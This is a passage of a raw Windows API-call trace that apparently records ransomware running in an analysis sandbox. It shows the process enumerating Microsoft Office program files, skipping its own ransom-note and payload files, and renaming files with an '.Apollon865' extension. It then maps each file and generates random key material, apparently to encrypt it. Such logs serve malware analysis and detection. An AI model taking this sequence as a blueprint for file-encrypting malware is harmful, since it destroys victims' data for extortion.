	[0065.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.642] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.642] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0065.643] CloseHandle (hObject=0x150) returned 1
	[0065.643] CloseHandle (hObject=0x118) returned 1
	[0065.643] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0065.643] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.643] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.644] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x73f50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXSEC32.DLL", cAlternateFileName="")) returned 1
	[0065.644] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.644] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0065.644] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="EXSEC32.DLL" | out: lpString1="EXSEC32.DLL") returned="EXSEC32.DLL"
	[0065.644] lstrlenW (lpString="EXSEC32.DLL") returned 11
	[0065.644] lstrlenW (lpString="Apollon865") returned 10
	[0065.644] lstrcmpiW (lpString1="XSEC32.DLL", lpString2="Apollon865") returned 1
	[0065.644] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="EXTRACT.DLL" | out: lpString1="EXTRACT.DLL") returned="EXTRACT.DLL"
	[0065.644] lstrlenW (lpString="EXTRACT.DLL") returned 11
	[0065.644] lstrlenW (lpString="Apollon865") returned 10
	[0065.644] lstrcmpiW (lpString1="XTRACT.DLL", lpString2="Apollon865") returned 1
	[0065.644] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="FACILITY.DLL" | out: lpString1="FACILITY.DLL") returned="FACILITY.DLL"
	[0065.644] lstrlenW (lpString="FACILITY.DLL") returned 12
	[0065.644] lstrlenW (lpString="Apollon865") returned 10
	[0065.644] lstrcmpiW (lpString1="CILITY.DLL", lpString2="Apollon865") returned 1
	[0065.644] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="FORM.DLL" | out: lpString1="FORM.DLL") returned="FORM.DLL"
	[0065.644] lstrlenW (lpString="FORM.DLL") returned 8
	[0065.644] lstrlenW (lpString="Apollon865") returned 10
	[0065.645] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="FORMS" | out: lpString1="FORMS") returned="FORMS"
	[0065.645] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0065.645] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x59a040
	[0065.645] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd90
	[0065.645] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1
	[0065.645] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.645] lstrcmpiW (lpString1="FRENCH.LNG", lpString2="Apollon865.txt.exe") returned 1
	[0065.645] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="FRENCH.LNG" | out: lpString1="FRENCH.LNG") returned="FRENCH.LNG"
	[0065.645] lstrlenW (lpString="FRENCH.LNG") returned 10
	[0065.645] lstrlenW (lpString="Apollon865") returned 10
	[0065.645] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="GANTT.DLL" | out: lpString1="GANTT.DLL") returned="GANTT.DLL"
	[0065.645] lstrlenW (lpString="GANTT.DLL") returned 9
	[0065.645] lstrlenW (lpString="Apollon865") returned 10
	[0065.645] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="GFX.DLL" | out: lpString1="GFX.DLL") returned="GFX.DLL"
	[0065.645] lstrlenW (lpString="GFX.DLL") returned 7
	[0065.645] lstrlenW (lpString="Apollon865") returned 10
	[0065.645] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="GKExcel.dll" | out: lpString1="GKExcel.dll") returned="GKExcel.dll"
	[0065.645] lstrlenW (lpString="GKExcel.dll") returned 11
	[0065.645] lstrlenW (lpString="Apollon865") returned 10
	[0065.645] lstrcmpiW (lpString1="KExcel.dll", lpString2="Apollon865") returned 1
	[0065.645] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="GKPowerPoint.dll" | out: lpString1="GKPowerPoint.dll") returned="GKPowerPoint.dll"
	[0065.646] lstrlenW (lpString="GKPowerPoint.dll") returned 16
	[0065.646] lstrlenW (lpString="Apollon865") returned 10
	[0065.646] lstrcmpiW (lpString1="rPoint.dll", lpString2="Apollon865") returned 1
	[0065.646] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="GKWord.dll" | out: lpString1="GKWord.dll") returned="GKWord.dll"
	[0065.646] lstrlenW (lpString="GKWord.dll") returned 10
	[0065.646] lstrlenW (lpString="Apollon865") returned 10
	[0065.646] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="GRAPH.EXE" | out: lpString1="GRAPH.EXE") returned="GRAPH.EXE"
	[0065.646] lstrlenW (lpString="GRAPH.EXE") returned 9
	[0065.646] lstrlenW (lpString="Apollon865") returned 10
	[0065.646] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Graph.exe.manifest" | out: lpString1="Graph.exe.manifest") returned="Graph.exe.manifest"
	[0065.646] lstrlenW (lpString="Graph.exe.manifest") returned 18
	[0065.646] lstrlenW (lpString="Apollon865") returned 10
	[0065.646] lstrcmpiW (lpString1="e.manifest", lpString2="Apollon865") returned 1
	[0065.646] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="GRAPH.ICO" | out: lpString1="GRAPH.ICO") returned="GRAPH.ICO"
	[0065.646] lstrlenW (lpString="GRAPH.ICO") returned 9
	[0065.646] lstrlenW (lpString="Apollon865") returned 10
	[0065.646] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Groove" | out: lpString1="Groove") returned="Groove"
	[0065.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0065.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x59a0b0
	[0065.646] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fd50
	[0065.646] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1
	[0065.646] lstrcmpiW (lpString1="GROOVE.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.646] lstrcmpiW (lpString1="GROOVE.EXE", lpString2="Apollon865.txt.exe") returned 1
	[0065.647] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="GROOVE.EXE" | out: lpString1="GROOVE.EXE") returned="GROOVE.EXE"
	[0065.647] lstrlenW (lpString="GROOVE.EXE") returned 10
	[0065.647] lstrlenW (lpString="Apollon865") returned 10
	[0065.647] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="GROOVEEX.DLL" | out: lpString1="GROOVEEX.DLL") returned="GROOVEEX.DLL"
	[0065.647] lstrlenW (lpString="GROOVEEX.DLL") returned 12
	[0065.647] lstrlenW (lpString="Apollon865") returned 10
	[0065.647] lstrcmpiW (lpString1="OOVEEX.DLL", lpString2="Apollon865") returned 1
	[0065.647] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="GROOVEMN.EXE" | out: lpString1="GROOVEMN.EXE") returned="GROOVEMN.EXE"
	[0065.647] lstrlenW (lpString="GROOVEMN.EXE") returned 12
	[0065.647] lstrlenW (lpString="Apollon865") returned 10
	[0065.647] lstrcmpiW (lpString1="OOVEMN.EXE", lpString2="Apollon865") returned 1
	[0065.647] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="HVAC.DLL" | out: lpString1="HVAC.DLL") returned="HVAC.DLL"
	[0065.647] lstrlenW (lpString="HVAC.DLL") returned 8
	[0065.647] lstrlenW (lpString="Apollon865") returned 10
	[0065.647] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IEAWSDC.DLL" | out: lpString1="IEAWSDC.DLL") returned="IEAWSDC.DLL"
	[0065.647] lstrlenW (lpString="IEAWSDC.DLL") returned 11
	[0065.647] lstrlenW (lpString="Apollon865") returned 10
	[0065.647] lstrcmpiW (lpString1="EAWSDC.DLL", lpString2="Apollon865") returned 1
	[0065.647] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IEContentService.exe" | out: lpString1="IEContentService.exe") returned="IEContentService.exe"
	[0065.647] lstrlenW (lpString="IEContentService.exe") returned 20
	[0065.647] lstrlenW (lpString="Apollon865") returned 10
	[0065.647] lstrcmpiW (lpString1="ervice.exe", lpString2="Apollon865") returned 1
	[0065.648] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IMCOMMON.DLL" | out: lpString1="IMCOMMON.DLL") returned="IMCOMMON.DLL"
	[0065.648] lstrlenW (lpString="IMCOMMON.DLL") returned 12
	[0065.648] lstrlenW (lpString="Apollon865") returned 10
	[0065.648] lstrcmpiW (lpString1="COMMON.DLL", lpString2="Apollon865") returned 1
	[0065.648] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IMDIMP.ADD" | out: lpString1="IMDIMP.ADD") returned="IMDIMP.ADD"
	[0065.648] lstrlenW (lpString="IMDIMP.ADD") returned 10
	[0065.648] lstrlenW (lpString="Apollon865") returned 10
	[0065.648] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IMPMAIL.DLL" | out: lpString1="IMPMAIL.DLL") returned="IMPMAIL.DLL"
	[0065.648] lstrlenW (lpString="IMPMAIL.DLL") returned 11
	[0065.648] lstrlenW (lpString="Apollon865") returned 10
	[0065.648] lstrcmpiW (lpString1="MPMAIL.DLL", lpString2="Apollon865") returned 1
	[0065.648] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IMUTIL.DLL" | out: lpString1="IMUTIL.DLL") returned="IMUTIL.DLL"
	[0065.648] lstrlenW (lpString="IMUTIL.DLL") returned 10
	[0065.648] lstrlenW (lpString="Apollon865") returned 10
	[0065.648] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IMWDD.DLL" | out: lpString1="IMWDD.DLL") returned="IMWDD.DLL"
	[0065.648] lstrlenW (lpString="IMWDD.DLL") returned 9
	[0065.648] lstrlenW (lpString="Apollon865") returned 10
	[0065.648] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IMWIZ.DLL" | out: lpString1="IMWIZ.DLL") returned="IMWIZ.DLL"
	[0065.648] lstrlenW (lpString="IMWIZ.DLL") returned 9
	[0065.648] lstrlenW (lpString="Apollon865") returned 10
	[0065.648] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="INFOPATH.EXE" | out: lpString1="INFOPATH.EXE") returned="INFOPATH.EXE"
	[0065.648] lstrlenW (lpString="INFOPATH.EXE") returned 12
	[0065.648] lstrlenW (lpString="Apollon865") returned 10
	[0065.648] lstrcmpiW (lpString1="FOPATH.EXE", lpString2="Apollon865") returned 1
	[0065.649] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="InfoPathOM" | out: lpString1="InfoPathOM") returned="InfoPathOM"
	[0065.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0065.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a998
	[0065.649] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0065.649] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1
	[0065.649] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.649] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0065.649] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="INLAUNCH.DLL" | out: lpString1="INLAUNCH.DLL") returned="INLAUNCH.DLL"
	[0065.649] lstrlenW (lpString="INLAUNCH.DLL") returned 12
	[0065.649] lstrlenW (lpString="Apollon865") returned 10
	[0065.649] lstrcmpiW (lpString1="LAUNCH.DLL", lpString2="Apollon865") returned 1
	[0065.649] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Installed_resources14.xss" | out: lpString1="Installed_resources14.xss") returned="Installed_resources14.xss"
	[0065.649] lstrlenW (lpString="Installed_resources14.xss") returned 25
	[0065.649] lstrlenW (lpString="Apollon865") returned 10
	[0065.649] lstrcmpiW (lpString1="rces14.xss", lpString2="Apollon865") returned 1
	[0065.649] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Installed_schemas14.xss" | out: lpString1="Installed_schemas14.xss") returned="Installed_schemas14.xss"
	[0065.649] lstrlenW (lpString="Installed_schemas14.xss") returned 23
	[0065.649] lstrlenW (lpString="Apollon865") returned 10
	[0065.649] lstrcmpiW (lpString1="emas14.xss", lpString2="Apollon865") returned 1
	[0065.649] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="INTLDATE.DLL" | out: lpString1="INTLDATE.DLL") returned="INTLDATE.DLL"
	[0065.649] lstrlenW (lpString="INTLDATE.DLL") returned 12
	[0065.649] lstrlenW (lpString="Apollon865") returned 10
	[0065.649] lstrcmpiW (lpString1="TLDATE.DLL", lpString2="Apollon865") returned 1
	[0065.650] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IPDESIGN.DLL" | out: lpString1="IPDESIGN.DLL") returned="IPDESIGN.DLL"
	[0065.650] lstrlenW (lpString="IPDESIGN.DLL") returned 12
	[0065.650] lstrlenW (lpString="Apollon865") returned 10
	[0065.650] lstrcmpiW (lpString1="DESIGN.DLL", lpString2="Apollon865") returned 1
	[0065.650] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IPEDITOR.DLL" | out: lpString1="IPEDITOR.DLL") returned="IPEDITOR.DLL"
	[0065.650] lstrlenW (lpString="IPEDITOR.DLL") returned 12
	[0065.650] lstrlenW (lpString="Apollon865") returned 10
	[0065.650] lstrcmpiW (lpString1="EDITOR.DLL", lpString2="Apollon865") returned 1
	[0065.650] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IPIRM.XML" | out: lpString1="IPIRM.XML") returned="IPIRM.XML"
	[0065.650] lstrlenW (lpString="IPIRM.XML") returned 9
	[0065.650] lstrlenW (lpString="Apollon865") returned 10
	[0065.650] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML.Apollon865") returned 63
	[0065.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml.apollon865"), dwFlags=0x1) returned 1
	[0065.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.652] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=79708) returned 1
	[0065.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0065.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.652] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.653] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.653] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.653] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a60, lpName=0x0) returned 0x150
	[0065.657] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a60) returned 0x120000
	[0065.661] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.665] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.665] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0065.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0065.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.665] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0065.666] CloseHandle (hObject=0x150) returned 1
	[0065.666] CloseHandle (hObject=0x118) returned 1
	[0065.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0065.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.666] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.667] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IPIRMV.XML", cAlternateFileName="")) returned 1
	[0065.667] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.667] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="Apollon865.txt.exe") returned 1
	[0065.667] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IPIRMV.XML" | out: lpString1="IPIRMV.XML") returned="IPIRMV.XML"
	[0065.667] lstrlenW (lpString="IPIRMV.XML") returned 10
	[0065.667] lstrlenW (lpString="Apollon865") returned 10
	[0065.667] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML.Apollon865") returned 64
	[0065.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml.apollon865"), dwFlags=0x1) returned 1
	[0065.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.669] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=79268) returned 1
	[0065.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0065.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.670] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.671] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.671] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.671] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x138b0, lpName=0x0) returned 0x150
	[0065.672] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x138b0) returned 0x120000
	[0065.677] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.677] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.677] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0065.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0065.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.678] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0065.679] CloseHandle (hObject=0x150) returned 1
	[0065.679] CloseHandle (hObject=0x118) returned 1
	[0065.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0065.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.679] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x39988, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IPOLK.DLL", cAlternateFileName="")) returned 1
	[0065.679] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.679] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0065.680] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IPOLK.DLL" | out: lpString1="IPOLK.DLL") returned="IPOLK.DLL"
	[0065.680] lstrlenW (lpString="IPOLK.DLL") returned 9
	[0065.680] lstrlenW (lpString="Apollon865") returned 10
	[0065.680] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IXACS.PDL" | out: lpString1="IXACS.PDL") returned="IXACS.PDL"
	[0065.680] lstrlenW (lpString="IXACS.PDL") returned 9
	[0065.680] lstrlenW (lpString="Apollon865") returned 10
	[0065.680] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IXDB2.PDL" | out: lpString1="IXDB2.PDL") returned="IXDB2.PDL"
	[0065.680] lstrlenW (lpString="IXDB2.PDL") returned 9
	[0065.680] lstrlenW (lpString="Apollon865") returned 10
	[0065.680] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IXGENERC.PDL" | out: lpString1="IXGENERC.PDL") returned="IXGENERC.PDL"
	[0065.680] lstrlenW (lpString="IXGENERC.PDL") returned 12
	[0065.680] lstrlenW (lpString="Apollon865") returned 10
